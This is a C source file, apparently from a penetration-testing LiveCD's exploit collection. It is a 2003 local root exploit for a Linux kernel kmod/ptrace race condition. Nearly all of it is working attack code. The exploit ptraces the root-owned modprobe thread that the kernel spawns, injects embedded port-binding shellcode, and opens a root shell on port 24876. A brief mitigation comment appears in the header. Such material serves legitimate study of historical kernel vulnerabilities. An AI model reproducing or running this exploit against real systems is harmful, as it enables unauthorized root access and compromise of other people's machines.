home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / myptrace.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  226 lines

  1. /*
  2.  *  Author: snooq [http://www.angelfire.com/linux/snooq/]
  3.  *  Date: 10 April 2003
  4.  *
  5.  *  Wojciech Purczynski [ cliph@isec.pl ], says (in his code):
  6.  *
  7.  *  [quote]
  8.  *    This code exploits a race condition in kernel/kmod.c, which creates
  9.  *    kernel thread in insecure manner. This bug allows to ptrace cloned
  10.  *    process, allowing to take control over privileged modprobe binary.
  11.  *  [/quote]
  12.  *
  13.  *  For more info: http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html
  14.  *
  15.  *  Temp fix --> echo XXX /proc/sys/kernel/modprobe
  16.  *
  17.  *  I've seen somewhere... somebody suggested 'chmod 700 /proc' as a quick
  18.  *  fix....
  19.  *
  20.  *  The truth is... 'chmod 700 /proc' does not close the hole.
  21.  *  It merely cripple the exploit... which reads /proc entries
  22.  *
  23.  *  The flaw is still exploitable without 'rwx' to /proc..
  24.  *  
  25.  *  Having said all these craps.... I must say that I'm still a newbie to 
  26.  *  kernel stuffs.... and I think my code looks really ugly too....
  27.  *
  28.  *  so... if you r not happy wif the way I code.. or any suggestions for me..
  29.  *  or even flames.... direct them to jinyean_at_hotmail_dot_com 
  30.  *
  31.  *  Well.. I dun usually do this.. but I will do it this time... 
  32.  *  Greetz.. my team mates??? Nam, JF & ET?? haha...  
  33.  * 
  34.  *  just wanna thank u for reading these craps..  
  35.  *  and to ET.. maybe next time.. I could join u as a kernel hacker... =p
  36.  *
  37.  *  Notes: 
  38.  *  ======
  39.  *  1. There are at least 2 versions of exploit out there..
  40.  *     ie, Wojciech's and anszom's...
  41.  *
  42.  *  2. The way I exploit it is no diff from both except:
  43.  *     -> mine is one attempt per run. Script it, if u need to
  44.  *     -> bind port instead of spawn shell.. 
  45.  *     -> dun bother to read /proc entries
  46.  *     -> not as feature rich as anszom's
  47.  *     -> not as reliable.... etc... etc..
  48.  *  
  49.  *  3. I coded this as an exercise.. as a way to learn bout kernel internals 
  50.  *
  51.  *  4. Lastly, credits go to Wojciech and anszom.
  52.  *
  53.  */
  54.  
  55. #include <stdio.h>
  56. #include <fcntl.h>
  57. #include <errno.h>
  58. #include <string.h>
  59. #include <stdlib.h>
  60. #include <signal.h>
  61. #include <sys/wait.h>
  62. #include <sys/stat.h>
  63. #include <sys/types.h>
  64. #include <sys/ptrace.h>
  65. #include <sys/socket.h>
  66. #include <linux/user.h>        /* For user_regs_struct */
  67.  
  68. #define SIZE    (sizeof(shellcode)-1)    
  69.  
  70. pid_t parent=0;
  71. pid_t child=0;
  72. pid_t k_child=0;
  73. static int sigc=0;
  74.  
  75. /*
  76.    Port binding shellcode, courtesy of <anszom@v-lo.krakow.pl>
  77.    I just changed the port no..... =p 
  78. */
  79.  
  80. char shellcode[]=    
  81.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
  82.         "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
  83.         "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
  84.         "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
  85.         "\xec\x31\xc0\x50\x66\xb8\x61\x2c\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
  86.         "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
  87.         "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
  88.         "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
  89.         "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
  90.         "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
  91.         "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
  92.         "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
  93.         "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff/bin/sh";
  94.  
  95. void sigchld() {
  96.     sigc++;
  97.     return;
  98. }
  99.  
  100. void sigalrm() {
  101.     fprintf(stderr,"-> Something wrong and it timeout.\n");
  102.     exit(0);
  103. }
  104.  
  105. main(int argc, char *argv[]) {
  106.  
  107.     int i, error;
  108.     pid_t pid;
  109.  
  110.     struct user_regs_struct regs;    /* Registers Structure */
  111.  
  112.     parent=getpid();
  113.  
  114.     switch (pid=fork()) {
  115.  
  116.     case -1:
  117.         perror("Can't fork(): ");
  118.         break;
  119.     
  120.     case 0:            /* Child's thread -- The attacking thread. */
  121.  
  122.         child=getpid();
  123.         k_child=child+1;    /* Kernel child's PID... Hopefully.. */
  124.  
  125.         fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child);
  126.  
  127.         fprintf(stderr, "-> Attaching to %d...", k_child);
  128.  
  129.         /* 
  130.            Trying to attach to the child spawned by the kernel, which has both
  131.            euid and egid set to 0. Child will be sent a SIGSTOP and we, the 'parent',
  132.            will get a SIGCHLD. This process is not immediate. Hence, we need to 
  133.            wait before we continue. Otherwise, we will fail controlling the thread.
  134.         */
  135.  
  136.         signal(SIGCHLD,sigchld);
  137.         signal(SIGALRM,sigalrm);
  138.         alarm(10);
  139.  
  140.         while ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
  141.             fprintf(stderr, ".");
  142.         }
  143.  
  144.         if (error==-1) {
  145.             fprintf(stderr,"-> Unable to attach to %d.\n",k_child);
  146.             exit(0);
  147.         }
  148.  
  149.         fprintf(stderr, "\n-> Got the thread!!\n");
  150.  
  151.         /* 
  152.            Waiting for the firt SIGCHLD, which signals the end of the attaching action.
  153.         */
  154.  
  155.         while(sigc<1);
  156.         
  157.         if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) {
  158.             fprintf(stderr,"-> Unable to setup syscall trace.\n");
  159.             exit(0);
  160.         }
  161.  
  162.         /*
  163.            The thread is under our control now. Will wail for the next signal 
  164.            to inject our own code.
  165.         */
  166.  
  167.         fprintf(stderr,"-> Waiting for the next signal...\n");
  168.         while(sigc<2);
  169.  
  170.         if (ptrace(PTRACE_GETREGS,k_child,NULL,®s)==-1) {
  171.             perror("-> Unable to read registers: ");
  172.         }
  173.     
  174.         fprintf(stderr, "-> Injecting shellcode at 0x%08x\n",regs.eip);
  175.         
  176.         for (i=0; i<=SIZE; i+=4) {
  177.             if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {}
  178.         }
  179.  
  180.         fprintf(stderr, "-> Bind root shell on port 24876... =p\n");
  181.  
  182.         /*
  183.            All done. It's time to leave 'our' poor child alone.... ;)
  184.            and get ready to kill ourselves... 
  185.         */
  186.  
  187.         if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) {
  188.             perror("-> Unable to detach from modprobe thread: ");
  189.         }
  190.  
  191.         fprintf(stderr, "-> Detached from modprobe thread.\n");
  192.         fprintf(stderr, "-> Committing suicide.....\n");
  193.  
  194.         if (kill(parent,9)==-1) {    /* This is really ugly..... */
  195.             perror("-> We survived??!!??  ");
  196.         }
  197.  
  198.         /*
  199.            We should be dead by now. 
  200.         */
  201.  
  202.         exit(0); 
  203.  
  204.         break;
  205.  
  206.     default:        /* Parent's thread -- The vulnerable call */
  207.     
  208.         /*
  209.            Now, the parent is requesting a feature in a kernel module.
  210.            Such action will trigger the kernel to spawn a child with
  211.            euid=0, egid=0.... Voila!!!
  212.             
  213.            NB: See <linux/socket.h> for more info.    
  214.         */
  215.         signal(SIGALRM,sigalrm);
  216.         alarm(10);
  217.         socket(AF_SECURITY,SOCK_STREAM,1);
  218.         break;
  219.     }
  220.     exit(0);
  221.  
  222. }
  223.  
  224.  
  225.  
  226.